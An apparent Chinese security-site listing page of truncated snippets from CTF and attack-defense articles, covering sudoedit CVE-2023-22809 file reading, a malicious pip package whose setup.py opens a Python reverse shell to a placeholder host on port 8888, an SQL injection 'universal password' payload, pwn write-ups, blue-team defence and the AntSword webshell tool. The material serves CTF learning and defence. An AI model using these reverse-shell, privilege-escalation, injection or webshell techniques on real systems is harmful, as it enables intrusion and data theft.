草庐IT

第七届XCTF国际网络攻防联赛总决赛战队巡礼!

全部标签

2023年春秋杯网络安全联赛春季赛Misc-AK

sudoCVE-2023-22809没有vimvi,就用原生编辑器nanoEDITOR='nano--/flag'sudoedit/etc/GAMELABpiphack可以下载任意包,考虑构造恶意的包,让他去下载直接在setup下写反弹shellimportos,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('xx',8888));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subproce

攻防世界-inget(简单的SQL注入、万能密码)

目录1、手工注入(万能密码原理)2、sqlmap实现3、常用参数1、手工注入(万能密码原理)打开链接,提示输入id并尝试绕过 尝试一下万能密码,使用逻辑语句使结果返回构造payload/?id='or''='我们这里是以get传参的方式在前端给id传了个值,后端会对我们提交的内容进行查询比如我们提交的是id=123而到后端大概会呈现出来的部分内容就是'id=123'会有单引号将这个内容引起来进行查询这样我们就好理解上面payload的原理了我们传入id='or''='   实际上到了后端大概是这样子'id='or''=''对于我们传入的四个单引号的解释:第一个单引号,与查询时前面的单引号形成闭

攻防世界_PWN_stack2

本文通过结合其他师傅的思路以及自己的一些理解完成。希望在记录自己所学知识的同时能够帮助有同样疑惑的人。pwn入门新手一个,如果有说错的地方请师傅们多多包涵0x00前置知识本题关键汇编指令:mov指令和lea指令以及ret指令movmov指令的功能是传送数据,它可以把一个操作数的值复制到另一个操作数中。例如:moveax,[ebp-18h],作用是将ebp-18h作为偏移地址,寻址找到内存单元,将该内存单元中的数据送至eax,类似于C语言中的eax=*(ebp-18h);mov[ebp-1ch],eax,作用是将eax中的数据送至ebp-1ch作为偏移地址所指向的内存单元。类似于C语言中的*(e

【愚公系列】2023年05月 网络安全高级班 035.HW护网行动攻防演练(0day漏洞防护)

文章目录前言一、背景二、实施思路三、成效亮点前言0day漏洞指的是一种尚未被发现或公开披露的安全漏洞。攻击者可以利用这些漏洞进入受影响的系统或应用程序,可能会导致数据泄露、系统崩溃、恶意软件安装等严重后果。因为这些漏洞一开始被发现时没有任何补丁或防护措施,因此被称为0day漏洞。一、背景近两三年的攻防对抗,攻击队的手段越来越简单直接但是也越来越隐蔽,尤其是0Day的单刀直入越来越频繁,越来越多突破口和系统沦陷都是0Day、NDay导致,更有甚者直接获得主机系统得控制权限。既然是0day说明没有现有攻击特征,很难被发现和捕获,不然就不叫0day了。如何防御这类攻击也是当务之急,有效的安全防护体系

如何提高蓝队在实战攻防演习中的防御水平?

重新认识蓝队体系背景随着近几年复杂国际形势的大背景和国内护网活动的锤炼,传统的安全运维/服务类解决方案在面临新的挑战和要求下显得捉襟见肘,日渐吃力。越来越多的组织开始引入红队服务来寻求对信息系统的更接近实战的威胁评估。与此同时,如何建立应对真实威胁且能够迅速反应的行之有效的防御体系,也激发出各行各业对蓝队建设的迫切需求。基本概念蓝队一般是以现有的网络安全防护体系为基础,在实战攻防演习期间组建的防守队伍。企业蓝队建设能够在高级威胁对抗场景下提供涵盖人员、技术、流程、服务全维度的安全防御体系。以IPDRO自适应保护模型为核心,包含暴露面监测(识别阶段-I)、防御强化(防护阶段-P)、威胁狩猎(监测

攻防世界-Pwn-new-easypwn

题目给了一个附件,我们将附件下载下来并解压,发现有俩文件,显然这个hello程序就是我们需要破解的在linux环境下执行下该程序,发现这是一个通讯录小程序,可以对通讯者号码,姓名,描述信息进行增删改查操作使用file命令查看文件类型,发现是64位的elf文件ok,接下来使用ida对该文件进行逆向,查看具体的代码逻辑。代码逻辑如下:主函数:从代码中可以看出,主函数的逻辑就是接收增删改查指令去调用对应的函数处理,这和我们执行程序过程中感知到的是一致的初始化函数sub_B56如下:这里都是一些赋值操作,没有什么问题,这里初始化了三个变量,一个是qword_202F8,一个是unk_2020E0,一个

2023年春秋杯网络安全联赛 春季赛 wp

文章目录CryptocheckinbackdoorWebPhpstudyEasypyezrustqqcmsMISCSudohappy2forensic盲人会藏在哪里piphackwordlePWNp2048easy_LzhiFTP_CHELLCryptocheckin第一部分求解一下pell函数得到x,ydefsolve_pell(N,numTry=100):a=[]b=[]cf=continued_fraction(sqrt(N))foriinrange(numTry):denom=cf.denominator(i)numer=cf.numerator(i)ifnumer^2-N*denom

【网络攻防技术】实验1:域名信息收集工具

实验1:域名信息收集工具实验内容:本次实验主要考察大家的编程能力及子域名的信息收集方法,在文件夹“Lab1_code”提供了使用Bing搜索引擎的域名收集功能。请对该代码进行扩展,使其可支持百度搜索引擎的域名收集功能。需要实现如下功能:a)支持百度搜索引擎的域名提取,其中从百度搜索引擎提取的域名需为真实域名,而非百度的域名跳转链接;b)可扩充其他功能,比如域名所在的标题等信息。示例:bing搜索qq.com的子域名#本次实验内容主要为:收集baidu.com域名下的子域名,#收集方法为使用bing搜索引擎,采用爬手段,爬取搜索到的域名bing搜索引擎搜索子域名的语法为:domain:[域名]i

[CTF/网络安全] 攻防世界 backup 解题详析

[CTF/网络安全]攻防世界backup解题详析PHP备份文件名备份文件漏洞成因备份文件名常用后缀姿势总结题目描述:X老师忘记删除备份文件,他派小宁同学去把备份文件找出来,一起来帮小宁同学吧!PHP备份文件名PHP脚本文件的备份文件名,通常采用以下命名方式:在原始文件名后添加日期时间戳。例如,如果要备份名为index.php的文件,则可以将其备份文件命名为index_20230521_004017.php。这里的20230521表示备份文件创建的日期,而004017表示备份文件创建的时间(小时、分钟和秒)。使用bak或backup作为备份文件的后缀名。例如,可以将备份文件的文件名设置为inde

攻防兼备:中国蚁剑使用指南及特征流量

中国蚁剑是菜刀的升级版本,线现下主流的Webshell连接工具之一,有着较广泛的使用,本篇文章会教给大家蚁剑的使用方法以及不同加密方式的流量特征,兼顾攻防两端。蚁剑下载安装参考:中国蚁剑(antSword)下载、安装、使用教程_蚁剑下载_攀爬的小白的博客-CSDN博客目录各种加密方式对比RSA流量加密分析UA混淆代理设置插件使用总结各种加密方式对比蚁剑给我们提供的加密方式由四种:default:默认方式,不推荐tiger=@ini_set("display_errors","0");@set_time_limit(0);functionasenc($out){returnstr_rot13($